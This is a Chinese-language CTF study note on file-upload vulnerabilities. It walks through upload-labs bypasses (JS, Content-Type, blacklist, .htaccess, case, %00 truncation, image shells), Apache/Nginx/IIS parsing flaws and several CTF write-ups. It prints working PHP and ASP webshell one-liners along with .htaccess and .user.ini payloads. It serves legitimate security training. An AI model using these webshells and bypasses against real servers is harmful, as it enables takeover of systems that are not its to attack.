文件上传
- 原理
- 条件
- 防御
- webshell
- 比赛时的常见利用方法
-
- [1.绕过前端 js 检测上传](#1.绕过前端 js 检测上传)
- [2.绕过 contnet-type 检测上传 (文件类型绕过)](#2.绕过 contnet-type 检测上传 (文件类型绕过))
- 3.绕过黑名单上传
- [4.htaccess 重写解析绕过上传](#4.htaccess 重写解析绕过上传)
- 5.大小写绕过上传
- 6.空格绕过上传
- [7.利用 windows 系统特征绕过上传 (点绕过)](#7.利用 windows 系统特征绕过上传 (点绕过))
- 8.绕过内容检测
- 9.双写后缀名绕过上传
- 10.目录可控get上传
- [11.目录可控 POST 绕过上传](#11.目录可控 POST 绕过上传)
- 解析漏洞
- 一些在线例题
原理
web应用对用户上传的文件没有严格的过滤,当用户上传木马文件,就会导致服务器被控制
条件
1)有文件上传的功能
2)上传的那个目录有执行权限,可以解析文件
3)能够访问上传的文件
防御
1)上传文件的目录不给执行权限
2)文件后缀白名单
3)上传文件路径不可访问
webshell
一句话木马
<?php eval($_POST["1"]);?>
eval函数可以运行命令
专用工具连接
蚁剑,在客户端运行shell命令
大马
功能都在代码里面,不需要工具连接,直接在服务器上运行shell命令
不好做免杀,容易被发现
比赛时的常见利用方法
1.绕过前端 js 检测上传
pass-01
在文件上传时,有些网站会对前端文件名进行验证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器。
代码分析
客户段 html 上传文件时会调用 checkFile 函数,首先获取文件后缀名。

具体方法
方法1.
改浏览器的设置,然后就可以上传1.php
设置-> 隐私设置和安全性-> 网站设置->js->不允许

方法2.
把php文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp、 net 等。即可绕过上传。
(1)先把a.php改成a.jpg上传,获取post

(2)把后缀改了

(3)登录192.168.xxx.xxx/upload/a.php看结果

2.绕过 contnet-type 检测上传 (文件类型绕过)
pass-02
contnet-type只能上传图片,我们要上传PHP
分析代码
content-type 在客户端可被修改
首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png 即允许上传。

具体方法
上传文件,脚本文件,抓包把 content-type 修改成 image/jpeg (或 image/png或源代码里面写的某一个)即可绕过上传。

3.绕过黑名单上传
pass-03
后缀名在黑名单的列表内,文件将禁止文件上传。
代码分析
首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不在黑名单内,允许上传。

具体方法
上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。
在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net 执行可以上传 ashx 代替 aspx。如果网站可以执行这些脚本,通过上传后门即可获取 webshell。
在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php,在 AddType application/x-httpd-php .php .phtml .php3,后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。
上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。
4.htaccess 重写解析绕过上传
pass-04
在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文件
要 htaccess 的规则生效则需要在 apache 开启 rewrite 重写模块 ,一般都开了的
代码分析

如果 submit 有值,$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。
但是还有一个 .hatccess 可以使用
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。用途范围主要针对当前目录。
具体方法
1.上传jpg的木马,发现不能查看
2.上传后缀为.htaccess的文件 到网站里,目的是为了把jpg识别成php
.htaccess 内容是:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
3.访问1.jpg的地址

5.大小写绕过上传
pass-05
有些模块对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp
代码分析

获取文件后缀名进行判断,如果后缀在这个字典里就禁止上传。
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx", ".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
具体方法
直接把a.php改成a.pHp,就可以上传了
6.空格绕过上传
pass-06
可以通过加空格进行上传,比如"1.php"不行,但"1.php " 可行(末尾加一个空格)
代码分析

7.利用 windows 系统特征绕过上传 (点绕过)
pass-07
在 windows 中文件后缀名. 系统会自动忽略.
比如shell.php 不行,但shell.php.可以
代码分析

具体方法
抓包修改在后缀名后加上.即可绕过

8.绕过内容检测
pass-13


getReailFileType 用于检测 jpg、png、gif 的文件头 ,如果上传的文件符合数字即可通过检测。
pass-14

getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马绕过检测。
图片马一
将1.jpg和1.php融合成2.jpg,其中1.jpg为普通图片,1.php为木马,因为融合的时候会占用位置,所以1.php里面的内容开头要空几格,防止一句话木马不完整。
copy /b 1.jpg+2.php=3.jpg
生成图片后修改为3.jpg.php进行上传
这里上传的文件,访问时不可以直接被解析,所以需要结合文件包含漏洞来使用。
图片马二
也可以尝试直接修改文件头,写成1.jpg
GIF89a
<script language='php'>@eval($_POST['1']);</script>
<script language='php'>phpinfo();</script>
然后直接访问也是没有解析的
结合文件包含
上面的文件上传成功后变成了gif 文件,我们还需要利用文件包含漏洞写一个 include.php 传入,再利用它来解析图片。
php
#include.php
<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
然后访问
py
include.php?file=upload/图片名称
这个url就可以解析上面上传的文件内容了
9.双写后缀名绕过上传
pass-10
在上传模块,有的代码会把黑名单的后缀名替换成空,替换其中的第一个,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。
代码分析

其中str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。
具体方法
直接把1.php文件后缀名改成 1.pphphp 即可绕过上传
10.目录可控get上传
pass-11
绕过白名单
代码分析

代码中使用白名单,只允许指定的图片格式。但是 _GET\['save_path'\]服务器接受客户端的值,这个值可被客户端修改。 img_path这个变量直接是拼接的,代表上传目录是可控的,可以使用 %00 截断后面的
具体方法
1.当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
2.php 版本小于 5.3.4
上传a.jpg,抓包,在upload/后面加a.php%00,就可以上传了


11.目录可控 POST 绕过上传
pass-12
绕过白名单
代码分析

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。上面是 GET 请求的,可以直接在 url 输入%00 即可截断,但是在 post 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名。
具体方法
上传a.jpg,抓包,在upload/后面加a.php%00,然后把%00解码,就可以上传了


解析漏洞
Apache
一个文件名为test. php. aaa. bbb. ccc的文件,Apache会从ccc的位置往 php的位置开始尝试解析,如果ccc不属于Apache能解析的后缀名,那么 Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
1)存在漏洞的版本:apache 2.0-2.2 有可能存在 , php版本小于5.6
2)配置文件 : AddType application/x-httpd-php .php 需要开启
上传1.php.aaa.ccc文件,然后访问1.php.aaa.ccc即可
###Nginx
第一种
先上传一句话木马 1.jpg,然后构造 1.jpg/1.php 去访问它,发现其被当作 PHP 文件解析。
这是由于 Nginx 把以 .php 结尾的文件交给 fastcgi 处理,但 fastcgi 处理的时候发现并没有这个文件,于是 fastcgi 会继续向上查找,然后找到了上级文件 .jpg,于是就把 .jpg 当作 PHP 文件处理,导致漏洞产生。
第二种
对低版本的Nginx可以在任意文件名后面添加%00.php进行解 析攻击。uploads/1.jpg%00.php 当做正常脚本执行
• Nginx 0. 5. *
Nginx 0. 6. *
•Nginx 0. 7 <= 0. 7. 65 Nginx 0. 8 <= 0. 8. 37
第三种
• Nginx 0.8. 41 〜1.4. 3 ; 1. 5 <= 1. 5. 7:
•在linux系统里,以上Nginx容器的版本下
uploads/1.jpg%20%00.php 当做正常脚本执行
IIS
1)新建一文件名字为:1.asp;1.jpg
此文件会当成脚本运行,IIS6.0
2)新建一个文件夹,1.asp ;
那么在这个文件夹里的内容全部会被当场脚本取运行。IIS6.0
3)服务器配置错误(put 协议),IIS6.0
4)上传一句话木马 1.jpg,然后构造 1.jpg/1.php 去访问它,其可被当作 PHP 文件解析,IIS7.0.7.5
文件解析漏洞
原理:*.asp;.xxx像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。
在 IIS5.x/6.0 中, 分号后面的不被解析,xx.asp;.jpg 会被服务器看成是xx.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
靶机:2k3_SP2 tys@123!
开启:Active server pages(asp解析功能)

在目标网站目录下创建1.asp;.jpg
写入一句话木马
<%eval request("1")%>
蚁剑连接,密码为1
目录解析漏洞
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 1.asp,那么 /1.asp/1.jpg 将被当做asp文件来执行.
1)创建asp目录

将木马复制到1.asp目录

2)蚁剑连接
put协议
创建或替换资源:如果资源不存在,则创建;如果资源已存在,则替换。
上传文件:通过 PUT 方法将文件上传到服务器的指定位置。
危害
未授权文件上传
覆盖系统文件
一些在线例题
1、[极客大挑战 2019]Upload
文件上传
发现只能上传图片,并且会识别到上传文件有"<?",就不能用普通木马
用b.jpg,绕过文件头检测,可以直接上传

发现用蚁剑连不上
所以用把jpg后缀改成phtml,上传时抓包,修改Content-Type: image/jpeg
然后就可以连了
2、[ACTF2020 新生赛]Upload
文件上传

是前端验证,上传b.jpg,抓包改成php,发现没有回显,改成phtml就可以了

访问这个地址就可以了
3、[MRCTF2020]你传你🐎呢
文件上传
不是前端检测,抓包改成phtml也不行,
上传.htaccess,要把类型改成image/jpeg


然后上传jpg就可以了,这里不知道为什么不能木马直接返回flag,所以用蚁剑
4、[SUCTF 2019]CheckIn
文件上传
# .xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件
# 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
# 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样
这里先上传一个.user.ini
GIF89a
auto_prepend_file=b.jpg
然后在上传一个图片马
这里注意上面的是1.jpg,那么下面上传的就是b.jpg
GIF89a
<script language='php'>system('cat /flag');</script>

根据提示,访问
/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php
